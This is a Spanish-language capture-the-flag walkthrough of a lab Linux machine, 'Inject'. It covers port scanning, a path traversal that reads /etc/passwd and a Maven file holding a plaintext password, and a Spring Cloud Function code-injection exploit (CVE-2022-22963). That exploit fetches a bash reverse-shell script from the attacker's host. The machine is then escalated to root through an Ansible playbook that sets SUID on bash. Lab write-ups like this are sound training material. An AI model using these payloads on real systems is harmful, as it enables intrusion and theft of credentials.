1. Comprobación del sistema operativo
python whichSystem.py 10.10.11.204
Tiene como salida:
10.10.11.204 (ttl -> 63): Linux
2. Descubrimiento de puertos y servicios
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.204
Obtenemos como salida:
Nmap scan report for 10.10.11.204
Host is up, received user-set (0.035s latency).
Scanned at 2023-03-19 12:11:20 CET for 11s
Not shown: 65513 closed tcp ports (reset), 20 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
8080/tcp open http-proxy syn-ack ttl 63
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.98 seconds
Raw packets sent: 66030 (2.905MB) | Rcvd: 65515 (2.621MB)
3. Comprobamos servicios y lanzamos scripts principales contra dichos puertos
nmap -sCV -p22,8080 10.10.11.204
Starting Nmap 7.93SVN ( https://nmap.org ) at 2023-03-19 12:12 CET
Nmap scan report for 10.10.11.204
Host is up (0.034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA)
| 256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)
|_ 256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
4. Observamos la página web
Observando la página web, nos damos cuenta que en la ruta http://10.10.11.204:8080/upload
existe la posibilidad de subir archivos al servidor.
Por lo que empezamos probamos subiendo un archivo .php. Pero nos aparece un mensaje de error diciendo que solo acepta archivos de imagen (Only image files are accepted!
). Probamos entonces a subir archivos empleando varias técnicas, como pueden ser modificar el nombre del fichero, añadir contenido ejecutable a través de la herramienta exiftool… pero ninguno de estas técnicas tiene efecto.
5. Lanzamos un fuzzer web
Probamos a lanzas un fuzzer web, para que mediante fuerza bruta podamos observar posibles directorios disponibles:
gobuster dir -u http://10.10.11.204:8080/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Obtenemos entonces que existe un recurso web llamado /release_notes
:
Si observamos su contenido, vemos que nos aparecen varios cambios realizados durante las versiones, uno de ellos que se añadieron medidas de protección contra la subida de ficheros, por lo que podemos descartar este tipo de vía.
6. Probamos a subir una imagen válida
Observamos que si subimos una imagen al recurso http://10.10.11.204:8080/upload
podemos verla mediante la siguiente petición:
GET /show_image?img=test.png
Por lo que podemos probar si es vulnerable a Path Traversal (LFI) y observamos lo siguiente:
Podemos obtener el fichero /etc/passwd
del sistema:
GET /show_image?img=../../../../../../../../../../../../etc/passwd HTTP/1.1
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false
Navegando un poco por el sistema, descubrimos un archivo de autenticación, en concreto el servicio maven. Mediante la siguiente petición:
GET /show_image?img=../../../../../../../../../../../../home/frank/.m2/settings.xml HTTP/1.1
Host: 10.10.11.204:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.204:8080/upload
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Connection: close
Podemos ver en la respuesta que se incluye algunas credenciales de un usuario:
HTTP/1.1 200
Accept-Ranges: bytes
Content-Type: image/jpeg
Content-Length: 617
Date: Sun, 19 Mar 2023 13:35:15 GMT
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
Podemos entonces probarnos a conectar mediante ssh con en el usuario phil:DocPhillovestoInject123
, pero observamos que no podemos acceder, que las credenciales son incorrectas. Por lo que debemos de buscar otra forma alternativa de acceder al sistema.
7. Seguimos observando archivos del sistema
Observando los archivos del sistema, nos damos cuenta que estamos ante un servicio Spring, por lo que accedemos al fichero de configuración de la aplicación web:
GET /show_image?img=../../../../../../////var/www/WebApp/pom.xml HTTP/1.1
Y obtenemos la siguiente respuesta:
HTTP/1.1 200
Accept-Ranges: bytes
Content-Type: image/jpeg
Content-Length: 2187
Date: Sun, 19 Mar 2023 13:42:51 GMT
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>WebApp</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>WebApp</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>11</java.version>
</properties>
<dependencies>
<dependency>
<groupId>com.sun.activation</groupId>
<artifactId>javax.activation</artifactId>
<version>1.2.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
<version>5.1.3</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>webjars-locator-core</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>${parent.version}</version>
</plugin>
</plugins>
<finalName>spring-webapp</finalName>
</build>
</project>
Vemos que nos encontramos antes la versión 3.2.2
de Spring, por lo que si buscamos alguna vulnerabilidad asociada a dicha versión, encontramos la siguiente https://github.com/me2nuk/CVE-2022-22963
.
8. Vulnerabilidad LFI Spring
Tal y como nos dice dicho CVE, para explotar dicha vulnerabilidad y poder establecer una revershell deberemos de seguir los siguientes pasos:
-
Creamos en nuestra máquina local un archivo llamado
rever.sh
que contendrá lo siguiente:#!/bin/bash bash -i >& /dev/tcp/10.10.14.87/8443 0>&1
-
Lanzamos un servidor web en nuestra maquina local, en el directorio de dicho archivo:
sudo python -m http.server 8000
-
Realizamos la siguiente petición curl a la maquina objetivo, para que obtenga el archivo de revershell:
curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.87:8000/rever.sh -o /tmp/rev")' --data-raw 'data' -v
-
Lanzamos en nuestra máquina local un netcat escuchando en el puerto 8443:
nc -lvp 8443
-
Lanzamos la siguiente peticion curl a la maquina objetivo, para que se ejecute el script de la revershell
curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/rev")' --data-raw 'data' -v
Observamos que somos capaces de obtener acceso con el usuario Frank al sistema.
9. Intento de encontrar la flag de usuario
Si observamos el directorio del usuario frank, podemos ver que no encontramos el flag de usuario. Pero recordamos que existia una carpeta .m2 con un archivo settings.xml
, el cual tenía el siguiente contenido:
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
Por lo que probamos a autenticarnos como el usuario phil, mediante el siguiente comando, introduciendo para ello la contraseña DocPhillovestoInject123
:
su phil
En este caso si que somos capaces de acceder como el usuario phil.
10. Flag de usuario
Somos capaces de obtener la flag de usuario -> 7ca384cb5958fc7e8801eba7b2b290cc
11. Escalada de privilegios
Si lanzamos el ejecutable linpeas.sh
en el equipo objetivo (luego de transferirlo desde nuestra máquina local), vemos que nos aparece el siguiente resultado:
╔══════════╣ Unexpected in /opt (usually empty)
total 12
drwxr-xr-x 3 root root 4096 Oct 20 04:23 .
drwxr-xr-x 18 root root 4096 Feb 1 18:38 ..
drwxr-xr-x 3 root root 4096 Oct 20 04:23 automation
Si nos dirigimos a dicha ruta, podemos ver un archivo con el siguiente nombre /opt/automation/tasks/playbook_1.yml
, y con el siguiente contenido:
phil@inject:/opt/automation/tasks$ cat playbook_1.yml
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
12. Explotación de Ansible
Buscando por internet algun exploit relacionado con el servicio Ansible, nos encontramos con el del siguiente enlace https://gtfobins.github.io/gtfobins/ansible-playbook/
. Por lo que procedemos a crear el archivo /opt/automation/tasks/pe.yml
, con el siguiente contenido:
- hosts: localhost
tasks:
- name: Priv esc
ansible.builtin.shell: |
chmod +s /bin/bash
become: true
Una vez creado y guardado dicho archivo, debemos esperar varios minutos a que se lance automáticamente la tarea de Ansible y a continuacion deberemos ejecutar el siguiente comando para iniciar una nueva instancia de la shell de Bash.
bash -p
Con esto observamos como somos capaces de obtener una shell con el usuario root.
13. Obtención flag usuario root
Somos entonces capaces de obtener el flag del usuario root -> 19a05fbdea58d9341b2ed447466c752e